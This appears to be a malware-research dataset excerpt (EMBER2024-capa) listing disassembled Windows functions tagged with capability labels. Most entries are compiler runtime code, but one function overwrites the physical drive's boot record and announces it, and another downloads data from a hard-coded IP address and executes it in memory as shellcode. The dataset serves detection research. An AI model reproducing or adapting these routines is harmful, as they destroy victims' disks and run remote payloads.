joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110aa
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400117d0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14002309f]
call fcn.140011375
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
lea rcx, str..PhysicalDirve0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov r8d, 0x200
lea rdx, [0x140019bb0]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x40
lea r8, str.LOL_
lea rdx, str.Your_Master_Boot_Record_MBR__has_been_overwritten__nEnjoy_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x40]
lea rdx, [0x140019e70]
call fcn.140011311
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140012d30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400140c0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400140e0
xor al, al
jmp 0x140014161
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400140f3
xor al, al
jmp 0x140014161
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001411d
xor al, al
jmp 0x140014161
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014131
xor al, al
jmp 0x140014161
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014143
xor al, al
jmp 0x140014161
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001415f
xor al, al
jmp 0x140014161
mov al, 1
add rsp, 0x38
ret
Function at 0x140001d44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d8e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d90
xor al, al
add rsp, 0x28
ret
Function at 0x140001160
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov rsi, qword [0x140004048]
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
je 0x1400011b9
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x3e8
call r14
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
jne 0x1400011a0
mov rdi, qword [0x140004050]
mov eax, dword [rdi]
cmp eax, 1
jne 0x1400011d3
mov ecx, 0x1f
call fcn.1400024c0
jmp 0x1400011fa
cmp dword [rdi], 0
je 0x1400011e1
mov byte [0x1400070f0], 1
jmp 0x1400011fa
mov dword [rdi], 1
mov rcx, qword [0x140004068]
mov rdx, qword [0x140004070]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov eax, dword [rdi]
cmp eax, 1
jne 0x14000121a
mov rcx, qword [0x140004058]
mov rdx, qword [0x140004060]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rdi], 2
test bl, bl
je 0x140001223
xor eax, eax
xchg qword [rsi], rax
mov rax, qword [0x140004010]
mov rax, qword [rax]
test rax, rax
je 0x140001242
xor ecx, ecx
mov edx, 2
xor r8d, r8d
call qword [0x140004610]
call fcn.140001c70
lea rcx, [0x1400021f0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x140004040]
mov qword [rcx], rax
lea rcx, [0x140001390]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140001c60
movsxd rdi, dword [0x1400070dc]
lea rcx, [rdi*8 + 8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rdi, rdi
jle 0x1400012d4
mov r14d, edi
mov r15, qword [0x1400070e0]
xor r12d, r12d
nop dword [rax + rax]
mov rdi, qword [r15 + r12*8]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rbx, [rax + 1]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rsi + r12*8], rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
inc r12
cmp r14, r12
jne 0x1400012a0
jmp 0x1400012d7
xor r14d, r14d
mov qword [rsi + r14*8], 0
mov qword [0x1400070e0], rsi
call fcn.140001ab0
mov r8, qword [0x1400070e8]
mov rax, qword [0x140004018]
mov rax, qword [rax]
mov qword [rax], r8
mov ecx, dword [0x1400070dc]
mov rdx, qword [0x1400070e0]
call fcn.140001770
mov dword [0x1400070f4], eax
cmp dword [0x1400070d4], 0
je 0x140001342
cmp byte [0x1400070f0], 0
jne 0x140001334
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1400070f4]
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
int3
Function at 0x140001770
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
mov eax, 0x1090
call fcn.14000234c
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140001ab0
mov dword [rbp + 0x100c], 0
xor eax, eax
mov r9d, eax
mov edx, 1
xor eax, eax
mov rcx, r9
mov r8, r9
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0x1000], rax
cmp qword [rbp + 0x1000], 0
jne 0x1400017e5
lea rcx, str.Failed_to_open_Internet._n
call fcn.1400025c0
mov dword [rbp + 0x100c], 1
jmp 0x1400019d7
mov rcx, qword [rbp + 0x1000]
lea rdx, str.http:__118.25.105.253:80_download_1.txt
xor eax, eax
mov r8d, eax
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x28], 0
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0xff8], rax
cmp qword [rbp + 0xff8], 0
jne 0x14000184f
lea rcx, str.Failed_to_connect_to_server._n
call fcn.1400025c0
mov rcx, qword [rbp + 0x1000]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp + 0x100c], 1
jmp 0x1400019d7
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x1000
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rcx, qword [rbp + 0xff8]
lea rdx, [rbp - 0x20]
mov r8d, 0x1000
lea r9, [rbp + 0xfec]
call qword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 0
je 0x140001894
cmp dword [rbp + 0xfec], 0
jne 0x1400018c9
lea rcx, str.Failed_to_read_data._n
call fcn.1400025c0
mov rcx, qword [rbp + 0xff8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x1000]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp + 0x100c], 1
jmp 0x1400019d7
mov rcx, qword [rbp + 0xff8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x1000]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rbp - 0x20]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x20]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, qword [rbp - 0x50]
mov rdx, rax
lea r8, [rbp - 0x28]
call fcn.140001510
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
je 0x1400019c1
lea rax, str.0xc5
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov r8, qword [rbp - 0x38]
call fcn.1400013a0
mov rdx, qword [rbp - 0x28]
xor eax, eax
mov ecx, eax
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
jne 0x140001973
lea rcx, str.Failed_to_allocate_memory._n
call fcn.1400025c0
mov dword [rbp + 0x100c], 1
jmp 0x1400019d7
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x28]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x28]
mov r8d, 0x20
lea r9, [rbp - 0x44]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rbp - 0x40]
mov rcx, qword [rbp - 0x40]
xor eax, eax
mov edx, eax
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp - 0x30]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
jmp 0x1400019cd
lea rcx, str.Error_in_decoding._n
call fcn.1400025c0
mov dword [rbp + 0x100c], 0
mov eax, dword [rbp + 0x100c]
add rsp, 0x1090
pop rbp
ret
Function at 0x140002120
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call fcn.140002ca0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
int3

Function at 0x1400029f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140004008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x140002a5b
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140002a5b
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x140002a5b
movzx edx, word [rax + 6]
test edx, edx
je 0x140002a5b
sub rcx, qword [0x140004008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002a48
add rax, 0x28
dec edx
je 0x140002a5b
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002a40
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002a40
ret
xor eax, eax
ret

Function at 0x140002a60
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140004008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002a95
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002a95
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002a95
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x140002b10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x140002b3c
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140002b3c
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x140002b3e
xor eax, eax
ret
Function at 0x14003ad88
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.api_ms_win_core_localization_l1_2_0.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.api_ms_win_core_localization_l1_2_0.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14003ae0c
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140069850]
cmp byte [rcx + rax], 0
je 0x14003ae0c
dec r8
sub rdx, 1
jne 0x14003adf2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14003c7a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleW]
test rax, rax
je 0x14003c7ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003c7ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003c7ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003c7ea
cmp dword [rcx + 0x84], 0xe
jbe 0x14003c7ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003c7ec
xor al, al
add rsp, 0x28
ret

Function at 0x14004d2a4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14004d094
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x14004d490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x14004d4a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.14002d1a0
jmp 0x14000123c
mov rax, qword [0x14004d4a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x14004d4a0]
mov dword [rax], 1
mov rax, qword [0x14004d4e0]
mov rdx, rax
mov rax, qword [0x14004d4d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x140051024], 1
mov rax, qword [0x14004d4a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x14004d4c0]
mov rdx, rax
mov rax, qword [0x14004d4b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x14004d4a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x14004d490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x14004d3e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x14004d3e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.14002c428
mov rax, qword [0x14004d520]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x14004d480]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14002bc20
mov eax, dword [0x140051004]
lea rdx, [0x140051008]
mov ecx, eax
call fcn.14000147c
call fcn.14002b9b7
mov rax, qword [0x14004d410]
mov rax, qword [rax]
mov rdx, qword [0x140051010]
mov qword [rax], rdx
mov rcx, qword [0x140051010]
mov rdx, qword [0x140051008]
mov eax, dword [0x140051004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x14005101c], eax
mov eax, dword [0x140051020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14005101c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x140051024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14005101c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14004d440]
mov dword [rax], 1
mov rax, qword [0x14004d450]
mov dword [rax], 1
mov rax, qword [0x14004d460]
mov dword [rax], 1
mov rax, qword [0x14004d400]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14002bc30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.14002cf90
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x14002c902
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140051168]
test eax, eax
je 0x14002c99a
lea rax, [0x140051140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140051170]
mov qword [rbp - 8], rax
jmp 0x14002c97e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14002c972
cmp qword [rbp - 0x10], 0
je 0x14002c972
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14002c938
lea rax, [0x140051140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14002c99b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x14002caa0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14002cac8
mov eax, 0
jmp 0x14002cb16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14002caf1
mov eax, 0
jmp 0x14002cb16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14002cb11
mov eax, 0
jmp 0x14002cb16
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14002cb1c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14002cb9a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14002cb91
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14002cb91
mov rax, qword [rbp - 8]
jmp 0x14002cbaf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14002cb64
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400113a2
Capabilities:
Terminate process

Disassembly:
jmp 0x140017d20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011497
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019070
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019090
xor al, al
jmp 0x140019111
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400190a3
xor al, al
jmp 0x140019111
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400190cd
xor al, al
jmp 0x140019111
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400190e1
xor al, al
jmp 0x140019111
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400190f3
xor al, al
jmp 0x140019111
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001910f
xor al, al
jmp 0x140019111
mov al, 1
add rsp, 0x38
ret
Function at 0x2fc4d0bb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d1c90
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d15b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f4108]
test eax, eax
je 0x2fc4d164a
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f4110]
mov qword [rbp - 8], rax
jmp 0x2fc4d162e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d1622
cmp qword [rbp - 0x10], 0
je 0x2fc4d1622
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d15e8
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d164b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d1750
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d1778
mov eax, 0
jmp 0x2fc4d17c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d17a1
mov eax, 0
jmp 0x2fc4d17c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
